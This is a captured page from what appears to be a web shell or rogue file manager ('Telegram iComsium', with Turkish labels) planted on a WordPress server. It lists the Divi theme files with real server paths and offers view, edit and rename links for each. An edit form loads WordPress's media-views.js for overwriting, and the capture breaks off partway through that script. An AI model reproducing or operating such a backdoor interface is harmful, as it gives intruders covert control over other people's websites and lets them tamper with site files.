<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: media-views.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/******/ (() =&gt; { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 7145
(module) {

var Selection = wp.media.model.Selection,
	Library = wp.media.controller.Library,
	CollectionAdd;

/**
 * wp.media.controller.CollectionAdd
 *
 * A state for adding attachments to a collection (e.g. video playlist).
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object}                     [attributes]                         The attributes hash passed to the state.
 * @param {string}                     [attributes.id=library]              Unique identifier.
 * @param {string}                     attributes.title                     Title for the state. Displays in the frame&#039;s title region.
 * @param {boolean|string}             [attributes.multiple=add]            Whether multi-select is enabled. Accepts &#039;add&#039; or true.
 *                                                                          When set to true, requires Shift or Cmd/Ctrl to select multiple items.
 *                                                                          When set to &#039;add&#039;, allows selecting multiple items by clicking thumbnails.
 * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
 *                                                                          If one is not supplied, a collection of attachments of the specified type will be created.
 * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
 *                                                                          Accepts &#039;all&#039;, &#039;uploaded&#039;, or &#039;unattached&#039;.
 * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
 * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
 *                                                                          Overridden by persistent user setting if &#039;contentUserSetting&#039; is true.
 * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
 * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
 * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
 * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
 * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region&#039;s mode should be set and persisted per user.
 * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
 * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
 *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
 * @param {string}                     attributes.type                      The collection&#039;s media type. (e.g. &#039;video&#039;).
 * @param {string}                     attributes.collectionType            The collection type. (e.g. &#039;playlist&#039;).
 */
CollectionAdd = Library.extend(/** @lends wp.media.controller.CollectionAdd.prototype */{
	defaults: _.defaults( {
		// Selection defaults. @see media.model.Selection
		multiple:      &#039;add&#039;,
		// Attachments browser defaults. @see media.view.AttachmentsBrowser
		filterable:    &#039;uploaded&#039;,

		priority:      100,
		syncSelection: false
	}, Library.prototype.defaults ),

	/**
	 * @since 3.9.0
	 */
	initialize: function() {
		var collectionType = this.get(&#039;collectionType&#039;);

		if ( &#039;video&#039; === this.get( &#039;type&#039; ) ) {
			collectionType = &#039;video-&#039; + collectionType;
		}

		this.set( &#039;id&#039;, collectionType + &#039;-library&#039; );
		this.set( &#039;toolbar&#039;, collectionType + &#039;-add&#039; );
		this.set( &#039;menu&#039;, collectionType );

		// If we haven&#039;t been provided a `library`, create a `Selection`.
		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, wp.media.query({ type: this.get(&#039;type&#039;) }) );
		}
		Library.prototype.initialize.apply( this, arguments );
	},

	/**
	 * @since 3.9.0
	 */
	activate: function() {
		var library = this.get(&#039;library&#039;),
			editLibrary = this.get(&#039;editLibrary&#039;),
			edit = this.frame.state( this.get(&#039;collectionType&#039;) + &#039;-edit&#039; ).get(&#039;library&#039;);

		if ( editLibrary &amp;&amp; editLibrary !== edit ) {
			library.unobserve( editLibrary );
		}

		// Accepts attachments that exist in the original library and
		// that do not exist in gallery&#039;s library.
		library.validator = function( attachment ) {
			return !! this.mirroring.get( attachment.cid ) &amp;&amp; ! edit.get( attachment.cid ) &amp;&amp; Selection.prototype.validator.apply( this, arguments );
		};

		/*
		 * Reset the library to ensure that all attachments are re-added
		 * to the collection. Do so silently, as calling `observe` will
		 * trigger the `reset` event.
		 */
		library.reset( library.mirroring.models, { silent: true });
		library.observe( edit );
		this.set(&#039;editLibrary&#039;, edit);

		Library.prototype.activate.apply( this, arguments );
	}
});

module.exports = CollectionAdd;


/***/ },

/***/ 8612
(module) {

var Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	$ = jQuery,
	CollectionEdit;

/**
 * wp.media.controller.CollectionEdit
 *
 * A state for editing a collection, which is used by audio and video playlists,
 * and can be used for other collections.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object}                     [attributes]                      The attributes hash passed to the state.
 * @param {string}                     attributes.title                  Title for the state. Displays in the media menu and the frame&#039;s title region.
 * @param {wp.media.model.Attachments} [attributes.library]              The attachments collection to edit.
 *                                                                       If one is not supplied, an empty media.model.Selection collection is created.
 * @param {boolean}                    [attributes.multiple=false]       Whether multi-select is enabled.
 * @param {string}                     [attributes.content=browse]       Initial mode for the content region.
 * @param {string}                     attributes.menu                   Initial mode for the menu region. @todo this needs a better explanation.
 * @param {boolean}                    [attributes.searchable=false]     Whether the library is searchable.
 * @param {boolean}                    [attributes.sortable=true]        Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                    [attributes.date=true]            Whether to show the date filter in the browser&#039;s toolbar.
 * @param {boolean}                    [attributes.describe=true]        Whether to offer UI to describe the attachments - e.g. captioning images in a gallery.
 * @param {boolean}                    [attributes.dragInfo=true]        Whether to show instructional text about the attachments being sortable.
 * @param {boolean}                    [attributes.dragInfoText]         Instructional text about the attachments being sortable.
 * @param {int}                        [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments.
 * @param {boolean}                    [attributes.editing=false]        Whether the gallery is being created, or editing an existing instance.
 * @param {int}                        [attributes.priority=60]          The priority for the state link in the media menu.
 * @param {boolean}                    [attributes.syncSelection=false]  Whether the Attachments selection should be persisted from the last state.
 *                                                                       Defaults to false for this state, because the library passed in  *is* the selection.
 * @param {view}                       [attributes.SettingsView]         The view to edit the collection instance settings (e.g. Playlist settings with &quot;Show tracklist&quot; checkbox).
 * @param {view}                       [attributes.AttachmentView]       The single `Attachment` view to be used in the `Attachments`.
 *                                                                       If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
 * @param {string}                     attributes.type                   The collection&#039;s media type. (e.g. &#039;video&#039;).
 * @param {string}                     attributes.collectionType         The collection type. (e.g. &#039;playlist&#039;).
 */
CollectionEdit = Library.extend(/** @lends wp.media.controller.CollectionEdit.prototype */{
	defaults: {
		multiple:         false,
		sortable:         true,
		date:             false,
		searchable:       false,
		content:          &#039;browse&#039;,
		describe:         true,
		dragInfo:         true,
		idealColumnWidth: 170,
		editing:          false,
		priority:         60,
		SettingsView:     false,
		syncSelection:    false
	},

	/**
